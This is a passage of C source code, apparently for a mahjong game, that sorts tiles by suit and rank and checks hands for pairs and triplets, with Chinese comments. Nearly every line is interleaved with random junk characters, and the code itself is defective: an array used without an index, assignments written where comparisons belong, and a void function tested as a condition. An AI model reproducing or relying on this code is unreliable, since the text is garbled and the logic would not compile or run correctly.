else if(computer.pp[c].number&lt;=43 &amp;&amp; computer.pp[c].number&gt;=40)3 ~9 R$ L8 p: E4 D! N; x
logoo=2;
8 Z6 k2 k* K( x' o" n5 oelse if(computer.pp[c].number&lt;=47 &amp;&amp; computer.pp[c].number&gt;=44)/ ]" K7 w1 E! @, _# l4 q8 e
logoo=3;$ N, i; t" H9 x1 ?5 w# ]" n2 p
else if(computer.pp[c].number&lt;=51 &amp;&amp; computer.pp[c].number&gt;=48)5 @& Q; ]* }/ i
logoo=4;
8 M' c% v4 m$ Velse if(computer.pp[c].number&lt;=55 &amp;&amp; computer.pp[c].number&gt;=52)! y& R" p) j  l) F- z
logoo=5;
' h7 ]7 q5 u: J  F5 Gelse if(computer.pp[c].number&lt;=59 &amp;&amp; computer.pp[c].number&gt;=56)) b1 {! ~. d4 m) O% b# W& U$ B
logoo=6;
! S4 F- V8 o& H0 telse if(computer.pp[c].number&lt;=63 &amp;&amp; computer.pp[c].number&gt;=60)' b9 y2 A$ n$ I" l1 N
logoo=7;
* O: q1 N" d  \' nelse if(computer.pp[c].number&lt;=67 &amp;&amp; computer.pp[c].number&gt;=64)4 x" a$ n: |/ S$ J" K0 E
logoo=8;" \) d: e- ]+ M, u6 [) C: t
else if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=68)0 S7 v1 f; h% q  K) D- p; G' m
logoo=9;
, ^2 _3 |$ z1 V' s& W4 V+ E}; |1 {9 P/ N. Y. J" J/ {1 o
else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=72)+ O% U* R* u3 H$ t1 f* V3 n# |. j
{' ^7 J. t( C( ?' }
logo=3;
$ a8 Z. W6 [  g) l) [+ iif(computer.pp[c].number&lt;=75 &amp;&amp; computer.pp[c].number&gt;=72)7 E- t( X( z: g) g; M& S
logoo=1;9 d1 W% N- e. x
else if(computer.pp[c].number&lt;=79 &amp;&amp; computer.pp[c].number&gt;=76)
/ }! ~+ e4 f  c4 O9 x* Glogoo=2;
0 o. l1 D. j- C0 j5 \else if(computer.pp[c].number&lt;=83 &amp;&amp; computer.pp[c].number&gt;=80)7 `& t: \5 x9 |
logoo=3;
6 E$ T1 h# A# `- G) G) selse if(computer.pp[c].number&lt;=87 &amp;&amp; computer.pp[c].number&gt;=84)9 W! f: t9 S8 F2 [0 A5 ]
logoo=4;
& v! l  L& u8 l& H+ Gelse if(computer.pp[c].number&lt;=91 &amp;&amp; computer.pp[c].number&gt;=88)
) i. y1 p" y: ^  ^. X. j9 qlogoo=5;. f% Y9 m& V0 }8 Q/ s4 V0 V8 y
else if(computer.pp[c].number&lt;=95 &amp;&amp; computer.pp[c].number&gt;=92)
. t9 u' C& X. }' U( o% f# elogoo=6;' e0 [* |2 ~4 B: N: D
else if(computer.pp[c].number&lt;=99 &amp;&amp; computer.pp[c].number&gt;=96). I9 D( u9 \! k9 V9 p, E
logoo=7;
+ H& A  F3 m- ?7 ^9 delse if(computer.pp[c].number&lt;=103 &amp;&amp; computer.pp[c].number&gt;=100)
& `6 u' C: ^6 t$ S9 U) T8 A$ Blogoo=8;- {/ }# l4 x) g! w3 c- X
else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=104)
) a* K. p) `4 C1 C' u9 Nlogoo=9;
, i0 s6 f0 W$ L$ l}* y/ U" I$ ?8 |. ~. _
else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=108)
# d' s, ]: n( |) c3 }* P{* {% p. I( v& X* g
logo=4;" g& [! Y% W  Y: W
if(computer.pp[c].number&lt;=111 &amp;&amp; computer.pp[c].number&gt;=108)
  W9 S+ V# V8 L8 u0 [logoo=1;1 e/ {7 i7 m& K8 z& Z
else if(computer.pp[c].number&lt;=115 &amp;&amp; computer.pp[c].number&gt;=112), q& M  x0 h1 P( |% s1 g
logoo=2;! G  `, @2 \& ?% o3 O4 W* l
else if(computer.pp[c].number&lt;=119 &amp;&amp; computer.pp[c].number&gt;=116)
5 D( B7 u- _" H* L) hlogoo=3;5 O: p8 Q, b. f' D$ m
else if(computer.pp[c].number&lt;=123 &amp;&amp; computer.pp[c].number&gt;=120)9 h. }9 E* w3 Y0 u
logoo=4;8 @# h8 H; Q& r6 B( f9 f
else if(computer.pp[c].number&lt;=127 &amp;&amp; computer.pp[c].number&gt;=124)
3 H' \% K+ a6 o. @3 @, Dlogoo=5;
$ f+ P  c/ X3 ~; w" E* Gelse if(computer.pp[c].number&lt;=131 &amp;&amp; computer.pp[c].number&gt;=128)+ n5 G3 ^* d4 }0 b9 _
logoo=6;- g. O  C) U3 p) U8 y$ M: }1 D
else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=132)
( u% f1 k7 H! N- C8 Blogoo=7;+ g3 {3 f7 s0 y" F+ _
}7 h; N) U/ ], n6 d' l
while(b&lt;=me.m)
5 x. P0 t' }% Z* V" D- U  d: J{1 ?3 g$ D" |9 K
if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=0) /*我分析后出了第一张牌*/; j2 v" A# {' P8 G( z* ^
{
7 \5 o2 P; Y8 H( G! Clg=1;8 A, X& i7 e# r0 @2 J' l6 |3 [+ L1 K
me.pp.d[0]=1;& [5 U  I8 D0 j4 P; Z. m1 x' g1 e
if(me.pp.number&lt;=3 &amp;&amp; me.pp.number&gt;=0)( W5 t, d; y1 J9 [
{
8 [' k/ @$ L0 `& |% B- x+ O% p' D2 clgg=1;+ ?: ]  z$ Q% e% M5 x
me.pp.d[1]=1;) f) g8 n  K0 C4 g/ T- B$ l
}8 b3 N( ^& {9 L! ]9 c; m8 [2 w
else if(me.pp.number&lt;=7 &amp;&amp; me.pp.number&gt;=4)2 q) ]& ~1 ^1 b; E
{
. B' q* E" H( U& Ylgg=2;: [/ _  ~0 G' `4 [
me.pp.d[1]=2;9 k' N7 [( ^8 L+ ?7 w. k
}
5 J8 _' Y* O6 S; _: @8 _4 R, r, }+ ~4 Yelse if(me.pp.number&lt;=11 &amp;&amp; me.pp.number&gt;=8)
% g- O3 e) ~4 I{% ?" W. ^# f1 r+ L
lgg=3;
2 A' c2 g* z  s- {- }me.pp.d[1]=3;
1 a! v5 H; P9 u3 e/ }}6 T5 J* C# }; z' ~6 a! v
else if(me.pp.number&lt;=15 &amp;&amp; me.pp.number&gt;=12)
3 d, T3 X  N' k& s3 z{; m: T% e# f6 T. M* S. |
lgg=4;
$ J# ^. g8 j" zme.pp.d[1]=4;
# J' `! p! t6 E; x5 H}
( x/ f- }8 W5 C* Z. Melse if(me.pp.number&lt;=19 &amp;&amp; me.pp.number&gt;=16)
8 q; V$ l8 N6 e  A# V, }- _2 Z{( ]" v$ d, d( B) H/ K1 _$ V7 O2 F
lgg=5;
' q' L4 \1 j: @5 y" Tme.pp.d[1]=5;/ x8 ~- L$ P# K7 i  l5 o. u  U) Y
}- i3 p* u$ }8 t0 \" X9 p* ~
else if(me.pp.number&lt;=23 &amp;&amp; me.pp.number&gt;=20)
/ L* h7 R8 H: e{! Q  q) Z8 e' m5 Y+ a0 Y; k) p
lgg=6;) T2 X8 q/ }3 f/ [
me.pp.d[1]=6;( k( B% ^  e+ a2 A2 ]
}
6 k3 U; s- ]; v' G4 P$ |0 Selse if(me.pp.number&lt;=27 &amp;&amp; me.pp.number&gt;=24)) Y0 e% P- u9 B  O4 c! X
{$ \' s2 }3 _+ T9 f9 o. y
lgg=7;  O* B! z" ?: _
me.pp.d[1]=7;- [* F7 `' H0 z0 W
}) z( m/ M6 Y6 e4 m
else if(me.pp.number&lt;=31 &amp;&amp; me.pp.number&gt;=28)! N, x- \4 X# W+ C2 v7 ]7 b
{
9 _2 Q8 R6 Z! y& A) Blgg=8;  U7 ?& P4 }! g4 O. B
me.pp.d[1]=8;0 ~. E8 W+ C. W  l4 N
}
4 j" h. W) {  B! f& L1 Zelse if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=32)- T: e& ?5 k4 g! C3 \; |" V
{  |0 G4 ], J: M7 `# a3 a
lgg=9;
, o1 D. p0 _7 I6 V  y% g0 Ume.pp.d[1]=9;& Z! \' T0 ?: s
}
: z( Q, N& f4 z& Z# d}
, D  C/ E0 z$ [/ @else if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=36)0 C( }0 J! a2 a  ?9 L2 |; O2 L- N( ~
{4 @0 |7 W! b2 O7 ~
lg=2;
; S' q2 o+ T$ q; |me.pp.d[0]=2;. T% W1 T% ?. v7 F/ N
if(me.pp.number&lt;=39 &amp;&amp; me.pp.number&gt;=36)9 _4 @$ {$ A( S/ f1 r6 n3 U6 Q! d  F- C
{$ D3 h) ~2 j/ Q' h3 i) W+ q
lgg=1;+ g' B7 e. y) k
me.pp.d[1]=1;
- |& ^3 c' o* {# Z; a9 e3 ^7 D}
, r1 m% Y$ ?* h( r) Z0 h; ?6 ^; Melse if(me.pp.number&lt;=43 &amp;&amp; me.pp.number&gt;=40)
' ]* A0 Z4 S: f& [" y{
2 F4 s* L8 T- ~- Q/ J1 y' klgg=2;
9 m+ J0 e+ R! W1 |me.pp.d[1]=2;
* ^7 w$ z+ c& K; W+ R# c' d}5 d5 U& c9 I1 G  G7 }# [$ ~; Z# Z) _' k& |
else if(me.pp.number&lt;=47 &amp;&amp; me.pp.number&gt;=44)
4 F; w+ y* m8 D3 _6 \$ V7 v{
0 s) b' m8 R3 E" D: H, vlgg=3;2 K6 m+ J! }* e/ B
me.pp.d[1]=3;* T" O: r0 k: H9 E0 c4 g5 e1 `
}8 m: J0 H0 D; v
else if(me.pp.number&lt;=51 &amp;&amp; me.pp.number&gt;=48)
1 J2 p8 G1 o7 W, Z+ V  i{, A! F8 g1 _; j, R4 S! H
lgg=4;
8 c3 k  k; a5 G4 v' Lme.pp.d[1]=4;) B( p+ c( I1 K- j
}. c& n& A+ m8 a, P
else if(me.pp.number&lt;=55 &amp;&amp; me.pp.number&gt;=52)  f1 ?+ P, P  I7 O
{
- t; t7 E& v/ k1 @, Y8 N0 Mlgg=5;
2 H% q4 j) ]1 D$ j3 `me.pp.d[1]=5;
! ]* @$ \+ \' j4 [}. i& D$ S; j6 u+ X; O( S  z& l$ Q
else if(me.pp.number&lt;=59 &amp;&amp; me.pp.number&gt;=56)2 U. c* v2 h; {8 r2 \' O
{3 v- M) q6 Z% w& }' d' P. K" R
lgg=6;  {1 O1 t1 I% ]& M1 z
me.pp.d[1]=6;: p2 W; c) a" G
}9 r, N6 d' |3 c/ b4 g7 ^" E
else if(me.pp.number&lt;=63 &amp;&amp; me.pp.number&gt;=60)
# w# ^! }4 V4 Y! ]{
7 }8 a: ]! a: C5 u3 V5 L1 blgg=7;
6 z- z/ P# o. ?6 A* i( kme.pp.d[1]=7;
, y6 q; K& u: E6 n}" w4 _  r3 _5 s- X( q
else if(me.pp.number&lt;=67 &amp;&amp; me.pp.number&gt;=64), c& h$ k7 D) e' y
{
% G! z8 N$ C  ]1 L2 E* @lgg=8;/ @! f2 k/ R2 y6 q" `: S. m9 M
me.pp.d[1]=8;) Q4 a! u/ j0 V& U' c& ?
}
. `! J$ M7 }* relse if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=68): E! _4 q" ?+ k9 g0 d4 v) _' }
{7 n: Y, C* h6 g  B1 ^9 Q" o
lgg=9;: d8 C% Z6 C8 l* \. A
me.pp.d[1]=9;( Z  X  W" l1 J" b' q+ I: d2 t% i
}' }2 s- `1 g7 k! q
}" |: J4 a; a4 n+ G1 E3 }2 l
else if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=72)) }% ?; o4 v7 r( a: ]
{
! c7 }7 s* t) Q2 M6 y5 F, t: m, dlg=3;
# R. c/ }1 o! D9 c# vme.pp.d[0]=3;
$ l7 {7 T9 t: {: s2 vif(me.pp.number&lt;=75 &amp;&amp; me.pp.number&gt;=72)
! Z# {" l" z! k0 q) B( u4 J2 i) w( V{4 T3 {( w/ d) g, O* j" W
lgg=1;( e: Z: z! `$ m% d5 l" w/ }
me.pp.d[1]=1;% W+ m- [% x  E& R  X' y
}
! W1 \  h; ?' K* J3 ]else if(me.pp.number&lt;=79 &amp;&amp; me.pp.number&gt;=76)' u( t  I% Y) A5 L5 `' D
{
+ j* m- d4 b+ u8 C# R- E, }, Olgg=2;
( s4 F# M0 R, f  a: tme.pp.d[1]=2;( Z- {4 t7 H' z% |: K/ C
}+ P0 i2 K  v4 ~0 G
else if(me.pp.number&lt;=83 &amp;&amp; me.pp.number&gt;=80)9 F' |' P* P' J) J3 Z$ W8 u: P" E
{
1 Q- n: H2 y/ L8 f3 c! Elgg=3;+ A) y9 w2 a% Z( i+ N9 N) n6 I
me.pp.d[1]=3;
+ I5 J6 I6 O6 C- l6 u}
5 m2 U3 `3 a( celse if(me.pp.number&lt;=87 &amp;&amp; me.pp.number&gt;=84)3 `) H4 E& |& x: k
{
8 w& L. a7 l/ `5 B$ V$ Xlgg=4;
; P( H3 g/ P; J1 [4 Zme.pp.d[1]=4;8 ^1 r5 g. g, N" A$ R. }
}
  D# {( m$ C6 r* W3 l" X0 Gelse if(me.pp.number&lt;=91 &amp;&amp; me.pp.number&gt;=88)( u2 m9 a( q0 F3 b0 P+ ^6 m
{: H* y8 a1 u: q* N' G/ m, X9 v
lgg=5;3 K3 m8 \5 x/ h- U
me.pp.d[1]=5;
0 s' x1 I4 Z- O! j% V4 l4 D}
$ v% }3 s6 B0 q$ i, }else if(me.pp.number&lt;=95 &amp;&amp; me.pp.number&gt;=92)
$ j1 C" k. {6 {$ x  ^+ D{
% D; G- b& d( a3 B' s* X9 }lgg=6;8 J% e7 O9 W1 n4 F
me.pp.d[1]=6;
; M& G# l1 }8 D5 v}
$ ?) A! G: k% r) `0 Y7 A. p* Jelse if(me.pp.number&lt;=99 &amp;&amp; me.pp.number&gt;=96)& K6 V  L: ~& u
{
# H! O6 ]. G& T5 k5 N0 F1 ~1 _lgg=7;
% \$ o; A; R" Ame.pp.d[1]=7;
/ j* b) W. F* s( q& V1 p! L. O( t}
( p0 p( |& D; k7 Belse if(me.pp.number&lt;=103 &amp;&amp; me.pp.number&gt;=100)0 C; X  F( O8 d: F$ J
{' m/ q( H; [: [; G% D
lgg=8;, ?9 V$ L) Q0 ~5 }! ]" p: B" z
me.pp.d[1]=8;
( r6 x. w) g* }+ C}
7 I& y2 h6 N- Z. V7 Delse if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=104)
/ a! G6 G8 [: g0 j$ R2 f! f& R{
- I% t" C; J5 olgg=9;9 B8 e* p0 ~% _5 n" W. g5 O
me.pp.d[1]=9;; `9 L4 a7 P# _
}
* @" n6 j* |( r9 S}% w/ R) m, ~' L
else if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=108): ~: t5 F' e# J/ ^
{( l0 Q0 s( x. Q
lg=4;
  W# Q9 b8 }+ r1 v* c1 Jme.pp.d[0]=4;
3 K! T( u* ]% A/ Y4 ^( R# Bif(me.pp.number&lt;=111 &amp;&amp; me.pp.number&gt;=108)
- o: D+ T% [0 z* c; C3 \6 q{! W! g% l: k! o+ J
lgg=1;
3 m/ O) k! _+ n0 U( b1 z( Eme.pp.d[1]=1;
9 ^3 \+ E* j" o0 l' W6 a8 n}
5 d+ @, m* P% Helse if(me.pp.number&lt;=115 &amp;&amp; me.pp.number&gt;=112)
2 K9 [9 N! \) x4 h+ R% a: z3 d{& i; {* K9 C7 s2 M
lgg=2;
8 @6 S/ H+ b7 v7 O8 Fme.pp.d[1]=2;( m  c" W% g8 Z1 X0 o. ]
}/ T) G7 u% f8 q$ r! P. j# G1 \) k
else if(me.pp.number&lt;=119 &amp;&amp; me.pp.number&gt;=116)" ?8 s, ^- H* p2 Q* G4 B/ ?% j# t7 N
{
; c  N  w! l7 l9 n0 ?lgg=3;
5 _# K: f$ _. H) tme.pp.d[1]=3;* v2 r9 Z. o  ^+ R/ `/ ?( {0 U
}8 ?& F0 r- R, ~' T7 G1 ~, m4 ]
else if(me.pp.number&lt;=123 &amp;&amp; me.pp.number&gt;=120)" ^" u( @; X! w3 I8 @7 @0 }
{( J4 V. D8 p- n8 o
lgg=4;4 I, }, T6 t+ a
me.pp.d[1]=4;
7 o" C( j4 j7 A4 P}
7 B1 y' Z7 B1 velse if(me.pp.number&lt;=127 &amp;&amp; me.pp.number&gt;=124)6 r" A% L# V3 m, Y. J6 W( o
{4 ?% U: I3 P' d3 ?8 m9 ~2 G6 Y
lgg=5;
2 N& }5 l3 l# _: R. g: pme.pp.d[1]=5;
1 y- |  ?- Y7 H7 {. A2 P}
  r; j4 @6 J- e5 l0 relse if(me.pp.number&lt;=131 &amp;&amp; me.pp.number&gt;=128)
  }& o  ^6 O1 h0 I( C{
( Q2 T% Y1 N# m8 _8 T6 P( N- blgg=6;3 k( t/ j6 h7 Z! k6 [
me.pp.d[1]=6;6 Z6 c$ K" ]3 i- U: B
}
0 O. E' Q& N) D; W4 c  {" P4 B$ zelse if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=132)
+ [9 u9 D) r& g{! q. V9 M0 R" D0 O9 h9 H. _% m
lgg=7;
& W, H7 p# X8 H& k+ {me.pp.d[1]=7;
! U- b0 z% f! H( [9 B8 A}! V! J3 T. t% x/ |( o
}) @* }# ]" l( i0 G$ N3 a
}
+ ^! Q% P' V# m}; k+ a' Y: X4 y
void istwo(testt)
, z6 {. v+ t# _# t1 sint testt[];6 v6 t5 j- ^: p" z- W
{ if(testt[0]==testt[1])
! y2 a1 K  h) `# x3 {7 {6 ~- F+ esecond++;
2 g, v+ V/ t' t+ h3 b. n8 x}8 w1 F& N9 E4 J0 \$ O  x5 _4 T
void isthree(testt,n)
1 K% R4 j; S, ?+ |5 M" e6 Iint testt[],n=0;8 ~6 x% G% o# v) v9 }" O" f
{ int i,j,flage=0,lianx=0,same=0;
7 G7 b% j- P3 v; i+ n  o& N" L" b$ Xn=n/3;
& c3 r) V2 \# O! sfor(j=0;j&lt;n;j++)% x( X/ z% U1 N
{
% u) `& ?6 k; k% I+ X& g. y& zfor(i=j*3;i&lt;2+j*3;i++)
% P: V3 B) I# {5 k6 X0 f# t{8 k6 P& `  t; T# v& c
if(testt==testt[i+1])  z1 }2 }5 C) S8 `) F8 B
same++;
9 m; O! K1 A8 L% uif(testt[i+1]-testt==1)
0 u9 t, N* E" o! X$ H2 t/ D& E( ^lianx++;. y# t4 ]* p6 N. T% d* M* c
}
& |% t3 Q/ }4 O9 L# Z2 Dif(same==2)  @& L1 K- {; R) b2 M
threes++;
$ T. |# D: O! @# K4 P4 ^3 {3 ~if(lianx==2)$ d" K( |# S1 c( R
threes++;
- R8 q/ ]2 A: `same=0;3 \, F4 ]  G, C" G  h8 K( }4 F- `9 C: d
lianx=0;
* K+ R2 |# K6 C}
/ e/ Z- ?) ^8 z! X5 h}
+ y1 ?! H/ ~( n  g* @# Hvoid panduan() /*本程序的精髓*/9 n5 I3 I6 K% H: B  `; C
{int data[14];: y, S3 @+ I- n1 u8 j
int pw[14];
. o  y8 r  P' O* s1 l3 m, G4 s6 gint pt[14];# }. n) E' g3 b, i$ p
int pi[14];8 W; j. r, O5 e
int pf[14];, B% D& _7 k. y: _- c
int test[12];% b9 p* s& N+ V( K  q) y# B
int jj,w,mm,nn,tpp=0,lp=0,ww=0,tt=0,ii=0,ff=0;ill=0;
7 B9 j0 A( S) F8 A0 n% e2 J8 Vfor(jj=0;jj&lt;=me.m;jj++)) b+ l3 _" t* w
{
5 ]4 _& {- D' Zif(me.pp[jj].d[0]==1)# U5 \3 O. Y2 F2 s3 d4 {$ @7 Y+ C
data[jj]=me.pp[jj].d[1];; r$ \6 E7 ~! O1 a: h
if(me.pp[jj].d[0]==2)
* l- i+ Q* A! r) u- d3 o9 \data[jj]=me.pp[jj].d[1]+10;' r* d; H. r+ z9 }
if(me.pp[jj].d[0]==3)
* s. [+ W- E% b! w+ @, Zdata[jj]=me.pp[jj].d[1]+20;7 L* V. U0 T8 v3 U4 y' b# t
if(me.pp[jj].d[0]==4)0 b. }7 x) x3 p# h
data[jj]=me.pp[jj].d[1]+30;
' U" E/ p! o) @/ E, t9 P}
: o1 k' X% [( P* G4 v' Mif(logo==2)
7 D& X$ ~6 O3 z7 R5 W* Gw=logoo+10;' J, g4 n# {6 h$ i5 G
if(logo==3)* I/ |# ?& g& `7 m, |7 `0 t
w=logoo+20;
5 b8 E  G" f# z( {4 Q  H) k) ?, Cif(logo==4)" _4 v# k! A8 @" ~  T# c' L9 ^' ]
w=logoo+30;
; \! ^& e( _" K$ M. cdata[computer.m+1]=w;7 k  h3 _9 P2 q2 w/ U7 z
for(mm=0;mm&lt;=computer.m;mm++)
. h, g6 l- \, X- W0 R$ f6 Wfor(nn=mm;nn&lt;=computer.m;nn++)
' O% b3 h2 D; \if(data[mm]&gt;data[nn+1])- q' v' ?% H+ R& X
{
+ Z6 f' s$ y# I; R5 |/ [" vtpp=data[mm];' q  R7 a* H3 s$ G- l
data[mm]=data[nn+1];4 v; c1 R5 j, J& z
data[nn+1]=tpp;
: n4 S: @$ x8 w}/ t* U5 U! p6 w2 o) j
lp=0;8 k' O& `6 x5 _. O# o
while(lp&lt;=computer.m)
. u) F3 d- R- U{ if(data[lp]&lt;10)& v& l/ n7 \8 f  h( a& q; x
pw[ww++]=data[lp];; u0 n1 u% x; Y
if(data[lp]&gt;10 &amp;&amp; data[lp]&lt;20)8 `4 P5 p1 @5 @
pt[tt++]=data[lp];. ]  u) O7 u" u" U4 y
if(data[lp]&gt;20 &amp;&amp; data[lp]&lt;30)
$ `8 r. z: l$ ]. p+ [. W* kpi[ii++]=data[lp];8 Y9 _: h+ ~2 n- |% J* A
if(data[lp]&gt;30 &amp;&amp; data[lp]&lt;38)
3 a0 B, ~1 h3 O- H6 _pf[ff++]=data[lp];
- _( i0 ^7 D- r- g# qlp++;/ \0 V+ m( V6 D' J) @
}
* g: L! K( R' \, O5 V  dif(ww==2)
4 l. D) O+ ?8 c1 yistwo(pw);4 I2 H' @/ P6 |: S' [' y' R6 z
else if(ww==3)5 c0 k7 B9 }, r+ I# Z
isthree(pw,ww);8 O0 O5 e/ G% l" K+ w5 r
else if(ww==5)' j) n& x% D5 S9 r
/*pw[5]原始牌数组,假设已经升序排列*/
2 Q, _/ X7 O* k1 o5 B% X/*test[3]用来放置测试牌的数组*/1 `% x8 W$ Y' ~8 B+ D
for(i=0;i&lt;4;i++)5 p/ x" z8 n- i5 l7 H" B
{
" D* J; e1 c* p) [  }for(j=0;j&lt;2;j++)
$ v' K- W5 z8 ^/ p' u! Z{test[j]=pw[i+j];, a5 f+ c/ K$ I/ C' I
}
/ i1 a* _; P/ Q) v  F8 K- oif(istwo(test))
9 h3 e% O( f- m5 y9 `{ ill=0;) @" J& {  ]3 p# V! A
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
/ n' \# R, I$ u' e0 R' D3 c: J7 J{if(kl==i)' \4 Q: \1 _7 y
{
9 m9 h  ^5 R+ i' H. n/ Ukl=kl+2;
: J" k1 |) k1 @& A' Q5 eif(kl==5)
5 q5 v! Y8 T) _* Ibreak;
. N: {$ v& B4 {. j$ S( ]1 ?}
# D* l: I- m5 D. q% I. s+ jtest[ill++]=pw[kl];' [9 M5 q7 L0 r. a! W7 _/ f0 v
}* p* S. y  A% A; L
isthree(test);' X! a- M: m3 k" v( X) n% m( @
}
$ \6 O& ]- Z( d2 H& b}
1 D' [7 S7 A; Q2 R. l: G) melse if(ww==6)
5 E+ i) k$ z- e) Nisthree(pw,ww);
/ Z- g7 o+ e7 melse if(ww==8). |, |3 v! Z! q, I0 y3 y) i
for(i=0;i&lt;7;i++): }/ f6 x6 J) V/ m; D
{
( l% D  Y0 c8 R4 H' Hfor(j=0;j&lt;2;j++)4 i! ^& G; Y" W7 @5 j. M
{test[j]=pw[i+j]; * e/ v$ F- j1 P5 H7 O5 U
}, }7 T3 S* Z3 `3 @  N0 ?/ j4 T
if(istwo(test))
* w$ x& |) j- W8 q{ ill=0;' O0 c( s: N2 I! x4 G5 P* B6 o8 V+ b
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/$ Z' \( L  w; o$ w
{if(kl==i)
: j. Y; g7 V$ d8 J- p* q{
/ i( H. M8 O" a9 M4 H  B* Q; }( [kl=kl+2;
! _5 ~& i5 ~6 E/ R3 v  _if(kl==8)
0 P! z6 f, V: mbreak;; E# U8 J! R: b- o# v% m+ X" ^  L2 \: G
}
3 ~4 |+ a2 O( ?: F/ Q2 Wtest[ill++]=pw[kl];
4 f9 E, M; w* |}0 x, a$ h+ ^' A
isthree(test,ww-2); 4 @) e3 p9 \* ^9 y$ l8 o8 L' L
}0 L% N2 z5 j1 V! |1 s$ y" d* O
}
" l, j$ `! H9 ]8 oelse if(ww==9). @. U* Z9 k( |5 o
isthree(pw,ww);
* o2 G. r3 U0 J6 b$ telse if(ww==11)
5 k8 c% [+ U! d- ]/ W( h, P. g6 Rfor(i=0;i&lt;10;i++)
% ]& ]' o$ r# V8 i+ K# b. K9 r{
' s9 K1 i3 N* w. e* nfor(j=0;j&lt;2;j++)3 {& N9 i2 C* b' b. |
{test[j]=pw[i+j]; . U* ]5 }, e( [4 x0 d' q0 f
}
$ u, X/ C/ b2 _# k# qif(istwo(test))8 j7 L/ N. n, h: y
{ ill=0;
+ f  n* k9 h4 C, k1 sfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
+ p( F% Y8 V3 F# ~{if(kl==i): s9 s7 c8 S( u9 o" R1 t  q# V
{
1 S  i3 r" {, d/ {kl=kl+2;/ Q8 `; @* v3 M& S
if(kl==11); z. m0 i, N+ `0 [  a" W
break;. ]8 w5 J9 o+ K2 J2 P- f+ l
}
+ j5 R0 f5 P) ~  O8 ~* ]# xtest[ill++]=pw[kl];
$ k$ G5 n' q+ m/ O: P4 R" r2 B}
8 W% ]# M' I( a" c) listhree(test,ww-2); 4 W6 c+ d  g3 K
}$ @6 @- O- G$ J( T- c+ k, y
}   F4 a; N# g5 `) o
else if(ww=12)
/ Q7 D$ P: l$ f5 l5 {isthree(pw,ww);. b& ]6 Q! i/ l, }9 x$ c; {
else if(ww=14)
  N, @9 b, D: ~. ]- h) N* l! Zfor(i=0;i&lt;13;i++)
7 ~7 z, |& S! v9 Q  H! j{+ i% z/ _& ?! h
for(j=0;j&lt;2;j++)
# J( y* I# I6 O, _- e& G2 f{test[j]=pw[i+j];* Y* \5 H) b4 \( l
}
8 m' y) i# l6 I1 ?& S  y2 wif(istwo(test))
$ h& s6 L$ \: j' Y& t! g% x4 Q{ ill=0;; d. ^7 {( l9 y
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
7 L9 Q' F. u9 g5 q2 _" d. i1 {{if(kl==i), r* N) d5 U% `: O+ _+ _( m) Y
{
# ]* @5 J7 \6 akl=kl+2;  q# B; O# K* P9 B( \
if(kl==14)0 @: D3 w4 |( d$ _& d
break;
) x6 ^$ W5 s- D& @( |- {}% P' }- A8 V; y8 a! y4 n* f$ e/ e
test[ill++]=pw[kl];) z7 |2 Y& n# I' k7 S
}
* T+ d( }0 ?5 a  O( D: m, T6 Wisthree(test,ww-2); 0 |0 _# o( `" N# j
}5 b7 {0 f: P1 V$ G5 A1 j& [
}
. @0 i0 g6 w3 cif(tt==2)( ^+ A8 z2 ~; y
istwo(pt);3 a: I& F% ^. V) h8 U! s
else if(tt==3)
' K; l+ k* v# e+ tisthree(pt,tt);* a& X+ L' F( l5 Y# z& D8 G
else if(tt==5)$ i5 S/ R  Z+ E0 ?6 f" ~; R
/*pt[5]原始牌数组,假设已经升序排列*/6 Y2 G0 a3 e. J4 B( e% _- J
/*test[3]用来放置测试牌的数组*/
/ m( s  A) R7 P$ z0 b6 |" h  u5 dfor(i=0;i&lt;4;i++)
* X( w% W( f4 {1 D{0 G; I& r$ q1 Y9 w. s
for(j=0;j&lt;2;j++). t7 b7 u' W; ~& c
{test[j]=pt[i+j];
7 V4 h. {) h$ g8 |7 I2 g8 N}
* o5 F1 X6 F1 F: Rif(istwo(test))
$ j( E- o/ E' W* ?7 E0 L6 ?{ ill=0;
7 H0 y2 f2 N/ ^9 s6 a" _3 Ifor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/2 O; @! J. i- I% N: V! h3 n
{if(kl==i)
8 S4 j% j3 K0 U! m  f$ G9 _{5 k7 d9 m+ z! s" R
kl=kl+2;
5 S: l( f7 h- `( yif(kl==5)
; A- A/ D  m2 t( z/ v2 ]& {! }9 Jbreak;
! `3 [9 }( @5 s1 [' H( F}
6 z6 O2 D# Y6 n9 N) Z& Stest[ill++]=pt[kl];2 i1 a! r) O+ M8 \- z
}* B7 \. E* H( D/ }: {* H6 u) @
isthree(test);' \1 x) L; b2 B
}  l' P- F* d5 q' e# c3 n- l% ]; d$ N
}0 W7 s3 V, D; v, y1 m. g
else if(tt==6)
2 P0 _  y0 E1 v. c3 V7 disthree(pt,tt); ; Z7 E3 @1 v4 N" j0 u( ~
else if(tt==8)
8 u7 I+ k5 K4 t( b/ a, |+ Q  r" ?for(i=0;i&lt;7;i++)" e! i0 K$ z- n) u. N% o1 `' j
{1 `5 b8 e7 c. \- u
for(j=0;j&lt;2;j++)# x  G& u! \' Q, b. {+ I, t
{test[j]=pt[i+j];
) v. a" E0 `' ~- h+ R4 }* i) d}
0 r  }. @3 b2 l+ W( H* aif(istwo(test))! i& U; I! K1 \7 o6 z" E, T
{ ill=0;
